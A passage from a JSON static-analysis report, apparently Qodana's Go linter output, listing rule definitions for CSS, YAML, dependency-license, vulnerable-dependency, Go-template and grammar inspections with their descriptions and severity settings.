`outline`.\nSuch replacement is not 100% equivalent because shorthands reset all omitted sub-values to their initial states.\nIn this example, switching to the `outline` shorthand means that `outline-width` is also set to its initial value,\nwhich is `medium`.\n\n\nThis inspection doesn't handle full sets of longhand properties (when switching to shorthand is 100% safe).\nFor such cases see the 'Properties may be safely replaced with a shorthand' inspection instead." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "CssReplaceWithShorthandUnsafely", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "CSS", "index": 25, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssUnknownUnit", "shortDescription": { "text": "Unknown unit" }, "fullDescription": { "text": "Reports an unknown unit.", "markdown": "Reports an unknown unit." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "CssUnknownUnit", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "CSS/Invalid elements", "index": 26, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssInvalidMediaFeature", "shortDescription": { "text": "Invalid media feature" }, "fullDescription": { "text": "Reports an unknown CSS media feature or an incorrect media feature value.", "markdown": "Reports an unknown [CSS media feature](https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries) or an incorrect media feature value." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "CssInvalidMediaFeature", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "CSS/Invalid elements", "index": 26, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssConvertColorToRgbInspection", "shortDescription": { "text": "Color could be replaced with rgb()" }, "fullDescription": { "text": "Reports an 'hsl()' or 'hwb()' color function or a hexadecimal color notation. Suggests replacing such color value with an equivalent 'rgb()' or 'rgba()' color function. Example: '#0c0fff' After the quick-fix is applied: 'rgb(12, 15, 255)'.", "markdown": "Reports an `hsl()` or `hwb()` color function or a hexadecimal color notation.\n\nSuggests replacing such color value with an equivalent `rgb()` or `rgba()` color function.\n\n**Example:**\n\n #0c0fff\n\nAfter the quick-fix is applied:\n\n rgb(12, 15, 255).\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CssConvertColorToRgbInspection", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "CSS", "index": 25, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssUnusedSymbol", "shortDescription": { "text": "Unused selector" }, "fullDescription": { "text": "Reports a CSS class or an element IDs that appears in selectors but is not used in HTML. Note that complete inspection results are available only when running it via Code | Inspect Code or Code | Analyze Code | Run Inspection by Name. Due to performance reasons, style sheet files are not inspected on the fly.", "markdown": "Reports a CSS class or an element IDs that appears in selectors but is not used in HTML.\n\n\nNote that complete inspection results are available only when running it via **Code \\| Inspect Code** or\n**Code \\| Analyze Code \\| Run Inspection by Name**.\nDue to performance reasons, style sheet files are not inspected on the fly." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CssUnusedSymbol", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "CSS", "index": 25, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssDeprecatedValue", "shortDescription": { "text": "Deprecated value" }, "fullDescription": { "text": "Reports a deprecated CSS value. Suggests replacing the deprecated value with its valid equivalent.", "markdown": "Reports a deprecated CSS value. Suggests replacing the deprecated value with its valid equivalent." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "CssDeprecatedValue", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "CSS", "index": 25, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssNonIntegerLengthInPixels", "shortDescription": { "text": "Non-integer length in pixels" }, "fullDescription": { "text": "Reports a non-integer length in pixels. Example: 'width: 3.14px'", "markdown": "Reports a non-integer length in pixels.\n\n**Example:**\n\n width: 3.14px\n" }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "CssNonIntegerLengthInPixels", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "CSS/Probable bugs", "index": 45, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssInvalidImport", "shortDescription": { "text": "Misplaced @import" }, "fullDescription": { "text": "Reports a misplaced '@import' statement. According to the specification, '@import' rules must precede all other types of rules, except '@charset' rules.", "markdown": "Reports a misplaced `@import` statement.\n\n\nAccording to the [specification](https://developer.mozilla.org/en-US/docs/Web/CSS/@import),\n`@import` rules must precede all other types of rules, except `@charset` rules." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CssInvalidImport", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "CSS/Invalid elements", "index": 26, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssInvalidAtRule", "shortDescription": { "text": "Unknown at-rule" }, "fullDescription": { "text": "Reports an unknown CSS at-rule.", "markdown": "Reports an unknown [CSS at-rule](https://developer.mozilla.org/en-US/docs/Web/CSS/At-rule)." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "CssInvalidAtRule", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "CSS/Invalid elements", "index": 26, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssUnresolvedCustomProperty", "shortDescription": { "text": "Unresolved custom property" }, "fullDescription": { "text": "Reports an unresolved reference to a custom property among the arguments of the 'var()' function.", "markdown": "Reports an unresolved reference to a [custom property](https://developer.mozilla.org/en-US/docs/Web/CSS/--*) among the arguments of the `var()` function." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "CssUnresolvedCustomProperty", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "CSS/Invalid elements", "index": 26, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssOverwrittenProperties", "shortDescription": { "text": "Overwritten property" }, "fullDescription": { "text": "Reports a duplicated CSS property within a ruleset. Respects shorthand properties. Example: '.foo {\n margin-bottom: 1px;\n margin-bottom: 1px; /* duplicates margin-bottom */\n margin: 0; /* overrides margin-bottom */\n}'", "markdown": "Reports a duplicated CSS property within a ruleset. Respects shorthand properties.\n\n**Example:**\n\n\n .foo {\n margin-bottom: 1px;\n margin-bottom: 1px; /* duplicates margin-bottom */\n margin: 0; /* overrides margin-bottom */\n }\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CssOverwrittenProperties", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "CSS", "index": 25, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssUnknownTarget", "shortDescription": { "text": "Unresolved file reference" }, "fullDescription": { "text": "Reports an unresolved file reference, for example, an incorrect path in an '@import' statement.", "markdown": "Reports an unresolved file reference, for example, an incorrect path in an `@import` statement." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "CssUnknownTarget", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "CSS/Invalid elements", "index": 26, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssNegativeValue", "shortDescription": { "text": "Negative property value" }, "fullDescription": { "text": "Reports a negative value of a CSS property that is not expected to be less than zero, for example, object width or height.", "markdown": "Reports a negative value of a CSS property that is not expected to be less than zero, for example, object width or height." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "CssNegativeValue", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "CSS/Invalid elements", "index": 26, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssNoGenericFontName", "shortDescription": { "text": "Missing generic font family name" }, "fullDescription": { "text": "Verifies that the 'font-family' property contains a generic font family name as a fallback alternative. Generic font family names are: 'serif', 'sans-serif', 'cursive', 'fantasy', and 'monospace'.", "markdown": "Verifies that the [font-family](https://developer.mozilla.org/en-US/docs/Web/CSS/font-family) property contains a generic font family name as a fallback alternative.\n\n\nGeneric font family names are: `serif`, `sans-serif`, `cursive`, `fantasy`,\nand `monospace`." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CssNoGenericFontName", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "CSS/Probable bugs", "index": 45, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssUnresolvedClassInComposesRule", "shortDescription": { "text": "Unresolved class in 'composes' rule" }, "fullDescription": { "text": "Reports a CSS class reference in the 'composes' rule that cannot be resolved to any valid target. Example: '.className {/* ... */}\n\n .otherClassName {\n composes: className;\n }'", "markdown": "Reports a CSS class reference in the ['composes'](https://github.com/css-modules/css-modules#composition) rule that cannot be resolved to any valid target.\n\n**Example:**\n\n\n .className {/* ... */}\n\n .otherClassName {\n composes: className;\n }\n" }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "CssUnresolvedClassInComposesRule", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "CSS/Invalid elements", "index": 26, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssInvalidCharsetRule", "shortDescription": { "text": "Misplaced or incorrect @charset" }, "fullDescription": { "text": "Reports a misplaced '@charset' at-rule or an incorrect charset value.", "markdown": "Reports a misplaced `@charset` at-rule or an incorrect charset value." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CssInvalidCharsetRule", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "CSS/Invalid elements", "index": 26, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssReplaceWithShorthandSafely", "shortDescription": { "text": "Properties may be safely replaced with a shorthand" }, "fullDescription": { "text": "Reports a set of longhand properties. Suggests replacing a complete set of longhand CSS properties with an equivalent shorthand form. For example, 4 properties: 'padding-top', 'padding-right', 'padding-bottom', and 'padding-left' can be safely replaced with a single 'padding' property. Note that this inspection doesn't show up if the set of longhand properties is incomplete (e.g. only 3 'padding-xxx' properties in a ruleset) because switching to a shorthand may change the result. For such cases consider the 'Properties may probably be replaced with a shorthand' inspection.", "markdown": "Reports a set of longhand properties. Suggests replacing a complete set of longhand CSS properties with an equivalent shorthand form.\n\n\nFor example, 4 properties: `padding-top`, `padding-right`, `padding-bottom`, and\n`padding-left`\ncan be safely replaced with a single `padding` property.\n\n\nNote that this inspection doesn't show up if the set of longhand properties is incomplete\n(e.g. only 3 `padding-xxx` properties in a ruleset)\nbecause switching to a shorthand may change the result.\nFor such cases consider the 'Properties may probably be replaced with a shorthand'\ninspection." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "CssReplaceWithShorthandSafely", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "CSS", "index": 25, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssUnknownProperty", "shortDescription": { "text": "Unknown property" }, "fullDescription": { "text": "Reports an unknown CSS property or a property used in a wrong context. Add the unknown property to the 'Custom CSS properties' list to skip validation.", "markdown": "Reports an unknown CSS property or a property used in a wrong context.\n\nAdd the unknown property to the 'Custom CSS properties' list to skip validation." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CssUnknownProperty", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "CSS/Invalid elements", "index": 26, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssInvalidPseudoSelector", "shortDescription": { "text": "Invalid pseudo-selector" }, "fullDescription": { "text": "Reports an incorrect CSS pseudo-class pseudo-element.", "markdown": "Reports an incorrect CSS [pseudo-class](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes) [pseudo-element](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements)." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "CssInvalidPseudoSelector", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "CSS/Invalid elements", "index": 26, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssInvalidNestedSelector", "shortDescription": { "text": "Invalid nested selector" }, "fullDescription": { "text": "Reports a nested selector starting with an identifier or a functional notation.", "markdown": "Reports a nested selector starting with an identifier or a functional notation." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CssInvalidNestedSelector", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "CSS/Invalid elements", "index": 26, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] } ], "language": "en-US", "contents": [ "localizedData", "nonLocalizedData" ], "isComprehensive": false }, { "name": "com.intellij.plugins.dependencyAnalysis", "version": "233.13017", "rules": [ { "id": "CheckThirdPartySoftwareList", "shortDescription": { "text": "Check third party software list" }, "fullDescription": { "text": "Check project for possible problems: user's third party software list does not match the collected project metadata", "markdown": "Check project for possible problems: user's third party software list does not match the collected project metadata" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CheckThirdPartySoftwareList", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "Dependency analysis", "index": 30, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CheckDependencyLicenses", "shortDescription": { "text": "Check dependency licenses" }, "fullDescription": { "text": "Check dependencies licenses for possible problems: missing or prohibited licenses, or other compliance issues", "markdown": "Check dependencies licenses for possible problems: missing or prohibited licenses, or other compliance issues" }, "defaultConfiguration": { "enabled": true, "level": "warning", "parameters": { "suppressToolId": "CheckDependencyLicenses", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "Dependency analysis", "index": 30, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CheckModuleLicenses", "shortDescription": { "text": "Check module licenses" }, "fullDescription": { "text": "Check module licenses for possible problems: missing licenses or other compliance issues", "markdown": "Check module licenses for possible problems: missing licenses or other compliance issues" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CheckModuleLicenses", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "Dependency analysis", "index": 30, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] } ], "language": "en-US", "contents": [ "localizedData", "nonLocalizedData" ], "isComprehensive": false }, { "name": "org.jetbrains.plugins.yaml", "version": "233.13017", "rules": [ { "id": "YAMLSchemaValidation", "shortDescription": { "text": "Validation by JSON Schema" }, "fullDescription": { "text": "Reports inconsistencies between a YAML file and a JSON Schema if the schema is specified. Scheme example: '{\n \"properties\": {\n \"SomeNumberProperty\": {\n \"type\": \"number\"\n }\n }\n }' The following is an example with the corresponding warning: 'SomeNumberProperty: hello world'", "markdown": "Reports inconsistencies between a YAML file and a JSON Schema if the schema is specified.\n\n**Scheme example:**\n\n\n {\n \"properties\": {\n \"SomeNumberProperty\": {\n \"type\": \"number\"\n }\n }\n }\n\n**The following is an example with the corresponding warning:**\n\n\n SomeNumberProperty: hello world\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "YAMLSchemaValidation", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "YAML", "index": 32, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "YAMLIncompatibleTypes", "shortDescription": { "text": "Suspicious type mismatch" }, "fullDescription": { "text": "Reports a mismatch between a scalar value type in YAML file and types of the values in the similar positions. Example: 'myElements:\n - value1\n - value2\n - false # <- reported, because it is a boolean value, while other values are strings'", "markdown": "Reports a mismatch between a scalar value type in YAML file and types of the values in the similar positions.\n\n**Example:**\n\n\n myElements:\n - value1\n - value2\n - false # <- reported, because it is a boolean value, while other values are strings\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "YAMLIncompatibleTypes", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "YAML", "index": 32, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "YAMLUnresolvedAlias", "shortDescription": { "text": "Unresolved alias" }, "fullDescription": { "text": "Reports unresolved aliases in YAML files. Example: 'some_key: *unknown_alias'", "markdown": "Reports unresolved aliases in YAML files.\n\n**Example:**\n\n\n some_key: *unknown_alias\n" }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "YAMLUnresolvedAlias", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "YAML", "index": 32, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "YAMLSchemaDeprecation", "shortDescription": { "text": "Deprecated YAML key" }, "fullDescription": { "text": "Reports deprecated keys in YAML files. Deprecation is checked only if there exists a JSON schema associated with the corresponding YAML file. Note that the deprecation mechanism is not defined in the JSON Schema specification yet, and this inspection uses a non-standard 'deprecationMessage' extension. Scheme deprecation example: '{\n \"properties\": {\n \"SomeDeprecatedProperty\": {\n \"deprecationMessage\": \"Baz\",\n \"description\": \"Foo bar\"\n }\n }\n }' The following is an example with the corresponding warning: 'SomeDeprecatedProperty: some value'", "markdown": "Reports deprecated keys in YAML files.\n\nDeprecation is checked only if there exists a JSON schema associated with the corresponding YAML file.\n\nNote that the deprecation mechanism is not defined in the JSON Schema specification yet,\nand this inspection uses a non-standard `deprecationMessage` extension.\n\n**Scheme deprecation example:**\n\n\n {\n \"properties\": {\n \"SomeDeprecatedProperty\": {\n \"deprecationMessage\": \"Baz\",\n \"description\": \"Foo bar\"\n }\n }\n }\n\n**The following is an example with the corresponding warning:**\n\n\n SomeDeprecatedProperty: some value\n" }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "YAMLSchemaDeprecation", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "YAML", "index": 32, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "YAMLRecursiveAlias", "shortDescription": { "text": "Recursive alias" }, "fullDescription": { "text": "Reports recursion in YAML aliases. Alias can't be recursive and be used inside the data referenced by a corresponding anchor. Example: 'some_key: &some_anchor\n sub_key1: value1\n sub_key2: *some_anchor'", "markdown": "Reports recursion in YAML aliases.\n\nAlias can't be recursive and be used inside the data referenced by a corresponding anchor.\n\n**Example:**\n\n\n some_key: &some_anchor\n sub_key1: value1\n sub_key2: *some_anchor\n" }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "YAMLRecursiveAlias", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "YAML", "index": 32, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "YAMLDuplicatedKeys", "shortDescription": { "text": "Duplicated YAML keys" }, "fullDescription": { "text": "Reports duplicated keys in YAML files. Example: 'same_key: some value\n same_key: another value'", "markdown": "Reports duplicated keys in YAML files.\n\n**Example:**\n\n\n same_key: some value\n same_key: another value\n" }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "YAMLDuplicatedKeys", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "YAML", "index": 32, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "YAMLUnusedAnchor", "shortDescription": { "text": "Unused anchor" }, "fullDescription": { "text": "Reports unused anchors. Example: 'some_key: &some_anchor\n key1: value1'", "markdown": "Reports unused anchors.\n\n**Example:**\n\n\n some_key: &some_anchor\n key1: value1\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "YAMLUnusedAnchor", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "YAML", "index": 32, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] } ], "language": "en-US", "contents": [ "localizedData", "nonLocalizedData" ], "isComprehensive": false }, { "name": "org.jetbrains.security.package-checker", "version": "233.13017", "rules": [ { "id": "GoVulnerableCodeUsages", "shortDescription": { "text": "Vulnerable API usage" }, "fullDescription": { "text": "Reports usages of Vulnerable APIs of imported dependencies. Fixing the reported problems helps prevent your software from being compromised by an attacker. To solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability. Vulnerability data provided by Checkmarx (c).", "markdown": "Reports usages of Vulnerable APIs of imported dependencies.\n\nFixing the reported problems helps prevent your software from being compromised by an attacker.\n\nTo solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability.\n\nVulnerability data provided by [Checkmarx](https://checkmarx.com/) (c)." }, "defaultConfiguration": { "enabled": true, "level": "warning", "parameters": { "suppressToolId": "GoVulnerableCodeUsages", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "Go/Security", "index": 36, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "VulnerableLibrariesLocal", "shortDescription": { "text": "Vulnerable declared dependency" }, "fullDescription": { "text": "Reports vulnerabilities in Gradle, Maven, NPM and PyPI dependencies declared in your project. A full list of Gradle and Maven dependencies is shown in the Project tool window under External Libraries. Fixing the reported problems helps prevent your software from being compromised by an attacker. To solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability. The quick-fixes available may suggest updating to a safe version or visiting the Checkmarx website to learn more about a particular vulnerability. Vulnerability data provided by Checkmarx (c).", "markdown": "Reports vulnerabilities in Gradle, Maven, NPM and PyPI dependencies declared in your project.\nA full list of Gradle and Maven dependencies is shown in the Project tool window under External Libraries.\n\nFixing the reported problems helps prevent your software from being compromised by an attacker.\n\nTo solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability.\n\nThe quick-fixes available may suggest updating to a safe version or visiting the Checkmarx website to learn more about a particular vulnerability.\n\nVulnerability data provided by [Checkmarx](https://checkmarx.com/) (c)." }, "defaultConfiguration": { "enabled": true, "level": "warning", "parameters": { "suppressToolId": "VulnerableLibrariesLocal", "cweIds": [ 1395 ], "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "Security", "index": 55, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "NpmVulnerableApiCode", "shortDescription": { "text": "Vulnerable API usage" }, "fullDescription": { "text": "Reports usages of Vulnerable APIs of imported dependencies. Fixing the reported problems helps prevent your software from being compromised by an attacker. To solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability. Vulnerability data provided by Checkmarx (c).", "markdown": "Reports usages of Vulnerable APIs of imported dependencies.\n\nFixing the reported problems helps prevent your software from being compromised by an attacker.\n\nTo solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability.\n\nVulnerability data provided by [Checkmarx](https://checkmarx.com/) (c)." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "NpmVulnerableApiCode", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Security", "index": 60, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] } ], "language": "en-US", "contents": [ "localizedData", "nonLocalizedData" ], "isComprehensive": false }, { "name": "org.intellij.intelliLang", "version": "233.13017", "rules": [ { "id": "InjectedReferences", "shortDescription": { "text": "Injected references" }, "fullDescription": { "text": "Reports unresolved references injected by Language Injections. Example: '@Language(\"file-reference\")\n String fileName = \"/home/user/nonexistent.file\"; // highlighted if file doesn't exist'", "markdown": "Reports unresolved references injected by [Language Injections](https://www.jetbrains.com/help/idea/using-language-injections.html).\n\nExample:\n\n\n @Language(\"file-reference\")\n String fileName = \"/home/user/nonexistent.file\"; // highlighted if file doesn't exist\n" }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "InjectedReferences", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "General", "index": 19, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] } ], "language": "en-US", "contents": [ "localizedData", "nonLocalizedData" ], "isComprehensive": false }, { "name": "org.jetbrains.plugins.go-template", "version": "233.13017", "rules": [ { "id": "GoTemplateUnknownVariable", "shortDescription": { "text": "Unknown variable" }, "fullDescription": { "text": "Reports usages of unknown variables in Go Templates. Parsing of such templates will cause panic because variables must be declared before usage. Example: '{{$v}} is zero. {{/* bad, $v is unknown */}}\n{{$v := 0}}{{$v}} is zero. {{/* good */}}'", "markdown": "Reports usages of unknown variables in Go Templates.\n\nParsing of such templates will cause panic because variables must be declared before usage.\n\nExample:\n\n {{$v}} is zero. {{/* bad, $v is unknown */}}\n {{$v := 0}}{{$v}} is zero. {{/* good */}}\n" }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "GoTemplateUnknownVariable", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "Go Template/General", "index": 41, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "GoTemplateDuplicateVariable", "shortDescription": { "text": "Duplicate variable" }, "fullDescription": { "text": "Reports duplicate Go Template variables that are declared in the same scope. Duplicating a variable reassigns the existing variable with the same name. This operation might lead to different unpredicatable issues. Example: '{{$v := 0}}{{$v := 1}}{{$v}} is 0. {{/* evaluates to '1 is 0' */}}\n{{$v := 0}}{{$w := 1}}{{$v}} is 0. {{/* works as expected */}}'", "markdown": "Reports duplicate Go Template variables that are declared in the same scope.\n\nDuplicating a variable reassigns the existing variable with the same name. This operation might lead to different\nunpredicatable issues.\n\nExample:\n\n {{$v := 0}}{{$v := 1}}{{$v}} is 0. {{/* evaluates to '1 is 0' */}}\n {{$v := 0}}{{$w := 1}}{{$v}} is 0. {{/* works as expected */}}\n" }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "GoTemplateDuplicateVariable", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "Go Template/General", "index": 41, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] } ], "language": "en-US", "contents": [ "localizedData", "nonLocalizedData" ], "isComprehensive": false }, { "name": "org.intellij.qodana", "version": "233.13017", "rules": [ { "id": "GoCoverageInspection", "shortDescription": { "text": "Check GO source code coverage" }, "fullDescription": { "text": "Reports methods and files whose coverage is below a certain threshold.", "markdown": "Reports methods and files whose coverage is below a certain threshold." }, "defaultConfiguration": { "enabled": true, "level": "warning", "parameters": { "suppressToolId": "GoCoverageInspection", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "Code Coverage", "index": 44, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "QodanaSanity", "shortDescription": { "text": "Sanity" }, "fullDescription": { "text": "Reports issues essential to this file like syntax errors, unresolved methods and variables, etc...", "markdown": "Reports issues essential to this file like syntax errors, unresolved methods and variables, etc..." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "QodanaSanity", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "Qodana", "index": 59, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] } ], "language": "en-US", "contents": [ "localizedData", "nonLocalizedData" ], "isComprehensive": false }, { "name": "tanvd.grazi", "version": "233.13017", "rules": [ { "id": "LanguageDetectionInspection", "shortDescription": { "text": "Natural language detection" }, "fullDescription": { "text": "Detects natural languages and suggests enabling corresponding grammar and spelling checks.", "markdown": "Detects natural languages and suggests enabling corresponding grammar and spelling checks." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "LanguageDetectionInspection", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "Proofreading", "index": 52, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "GrazieInspection", "shortDescription": { "text": "Grammar" }, "fullDescription": { "text": "Reports grammar mistakes in your text. You can configure the inspection in Settings | Editor | Natural Languages | Grammar.", "markdown": "Reports grammar mistakes in your text. You can configure the inspection in [Settings \\| Editor \\| Natural Languages \\| Grammar](settings://reference.settingsdialog.project.grazie)." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "GrazieInspection", "ideaSeverity": "GRAMMAR_ERROR", "qodanaSeverity": "Info" } }, "relationships": [ { "target": 